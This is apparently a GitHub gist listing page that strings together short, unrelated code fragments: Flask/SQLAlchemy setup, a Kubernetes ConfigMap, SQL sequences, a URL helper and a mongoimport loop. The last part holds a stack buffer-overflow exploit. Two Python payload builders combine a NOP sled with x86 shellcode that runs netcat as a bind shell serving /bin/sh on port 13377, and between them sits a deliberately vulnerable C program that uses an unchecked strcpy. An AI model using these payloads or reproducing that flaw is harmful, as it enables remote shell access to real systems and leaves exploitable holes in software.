This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
# This work is licensed under the Creative Commons Attribution 3.0 United | |
# States License. To view a copy of this license, visit | |
# http://creativecommons.org/licenses/by/3.0/us/ or send a letter to Creative | |
# Commons, 171 Second Street, Suite 300, San Francisco, California, 94105, USA. | |
# from http://oranlooney.com/make-css-sprites-python-image-library/ | |
# Orignial Author Oran Looney <[email protected]> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from timeit import default_timer as timer | |
from flask import Flask | |
from flask_sqlalchemy import SQLAlchemy | |
from sqlalchemy.orm import joinedload | |
app = Flask(__name__) | |
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False | |
app.config['SQLALCHEMY_DATABASE_URI'] = 'postgresql:///test' | |
db = SQLAlchemy(app) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# ConfigMaps | |
spec: | |
containers: | |
- env: | |
volumeMounts: | |
- mountPath: /cephalopod/settings | |
name: settings-volume | |
# ... |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from sqlalchemy.orm.attributes import flag_modified | |
import uuid | |
lst = [] | |
for reg_item in RegistrationFormItem.find(input_type='accommodation', is_deleted=False): | |
choice_id = unicode(uuid.uuid4()) | |
needs_caption = False | |
for rffd in RegistrationFormFieldData.find(field_id=reg_item.id): |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
SET search_path = event_paper_reviewing, pg_catalog; | |
CREATE SEQUENCE paper_review_questions_id_seq | |
START WITH 1 | |
INCREMENT BY 1 | |
NO MAXVALUE | |
NO MINVALUE | |
CACHE 1; | |
CREATE SEQUENCE paper_review_ratings_id_seq |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def adjust_url(url): | |
""" | |
Add 'http://' protocol to url string | |
:param url: Input url | |
:return: Proper formatted url | |
""" | |
if url[:4] != 'http': | |
url = 'http://' + url | |
return url |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# First place in the artists directory | |
cd collection-master/artists | |
find * -type f | while read col; do | |
mongoimport -d tate -c artists --file $col; | |
done |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
nopsled = '\x90' * 64 | |
# 64 bytes shellcode | |
shellcode = ('\x31\xc0\x31\xd2\x68\x33\x33\x37\x37\x68' + | |
'\x2d\x76\x70\x31\x89\xe2\x50\x68\x6e\x2f' + | |
'\x73\x68\x68\x65\x2f\x62\x69\x68\x2d\x6c' + | |
'\x76\x76\x89\xe1\x50\x68\x2f\x2f\x6e\x63' + | |
'\x68\x2f\x2f\x2f\x2f\x68\x2f\x62\x69\x6e' + | |
'\x89\xe3\x50\x52\x51\x53\x31\xd2\x89\xe1' + | |
'\xb0\x0b\xcd\x80') | |
padding = 'A' * (144 - 64 - 64) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <string.h> | |
void func(char *str) | |
{ | |
char buffer[132]; /* adjust size of buffer to suit */ | |
strcpy (buffer,str); | |
} | |
void main (int argc, char *argv[]) | |
{ | |
func(argv[1]); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
nopsled = '\x90' * 32 | |
# 64 bytes shellcode | |
shellcode = ('\x31\xc0\x31\xd2\x68\x33\x33\x37\x37\x68' + | |
'\x2d\x76\x70\x31\x89\xe2\x50\x68\x6e\x2f' + | |
'\x73\x68\x68\x65\x2f\x62\x69\x68\x2d\x6c' + | |
'\x76\x76\x89\xe1\x50\x68\x2f\x2f\x6e\x63' + | |
'\x68\x2f\x2f\x2f\x2f\x68\x2f\x62\x69\x6e' + | |
'\x89\xe3\x50\x52\x51\x53\x31\xd2\x89\xe1' + | |
'\xb0\x0b\xcd\x80') | |
padding = 'A' * (112 - 32 - 64) |